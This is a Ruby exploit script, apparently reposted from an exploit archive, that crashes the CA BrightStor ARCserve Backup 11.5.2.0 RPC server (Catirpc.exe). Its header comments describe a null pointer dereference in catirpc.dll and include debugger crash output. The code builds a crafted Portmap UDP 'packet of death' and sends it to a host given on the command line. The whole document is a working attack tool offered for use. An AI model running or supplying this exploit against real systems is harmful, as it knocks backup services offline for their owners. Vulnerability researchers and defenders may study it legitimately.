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CA BrightStor ARCserve 11.5.2.0 (catirpc.dll) RPC Server DoS Exploit
[==================================================================== CA BrightStor ARCserve 11.5.2.0 (catirpc.dll) RPC Server DoS Exploit ==================================================================== #!/usr/bin/ruby # # Computer Associates (CA) Brightstor Backup Remote Procedure Call Server DoS (catirpc.dll) # # Catirpc.exe - Provides the endpoint mapper and enables RPC services for BrightStor Backup products. # # (7c.350): Access violation - code c0000005 (!!! second chance !!!) # eax=007ef924 ebx=2e009560 ecx=00325ad8 edx=007ef900 esi=00000000 edi=00324308 # eip=2e00eda8 esp=007ef8b8 ebp=2e00be00 iopl=0 nv up ei pl nz na po nc # cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 # *** WARNING: Unable to verify checksum for C:\Program Files\CA\BrightStor ARCserve # Backup\CATIRPC.dll # *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program # Files\CA\BrightStor ARCserve Backup\CATIRPC.dll - # CATIRPC_2e000000!get_hostbyname+478: # 2e00eda8 668b4602 mov ax,[esi+0x2] ds:0023:00000002=???? # # CATIRPC.dll does not properly handle TADDR2UADDR procedures used in RPC communications with # the CA RPC Server (Catirpc.exe). This leads to a condition where a null memory pointer # is dereferenced. This appears to be only a DoS, but please prove me otherwise. This was tested on # BrightStor ARCserve Backup 11.5.2.0 (SP2) # # (c) Copyright 2007 Shirkdog i # # Author: M. Shirk (Shirkdog) shirkdog_list ^ at % hotmail.com # Thanks to Tebodell for testing # # Greetz to str0ke, Galileo. Metasploit module to follow require 'socket' backup_server = (ARGV[0]) target_port = (ARGV[1] || 111) #RPC/Portmap packet packet_of_death= "\xde\xad\xbe\xef" + # XID "\x00\x00\x00\x00" + # Message Type: Call (0) "\x00\x00\x00\x02" + # RPC Version: 2 "\x00\x01\x86\xa0" + # Program: Portmap "\x00\x00\x00\x03" + # Program Version: 3 "\x00\x00\x00\x08" + # Procedure: TADDR2UADDR (8) "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + #Credentials and Verifier all NULL "\x46\x9b\x22\xe2" + # Portmap data "\x00\x00\x00\x00" + # Nulls that get processed during address shifting "\x00\x00\x00\x00" + "\x00\x00\x00\x00" puts "[+]Computer Associates (CA) Brightstor ARCServe Backup Remote Procedure Call Server DoS (catirpc.dll)\n" puts "[+]Author: Shirkdog\n\n" if (!(backup_server && target_port)) puts "Usage: catirpcdos.rb host port (default port: 111)\n" exit else puts "[+]Sending UDP Packet of Death...\n" sock = UDPSocket.open sock.connect(backup_server, target_port.to_i) sock.send(packet_of_death, 0) puts "[+]Done...\n[+]Catirpc.exe is dead\n[+]... or it will die in a few seconds for you inpatient bastards\n" end # 0day.today [2024-12-24] #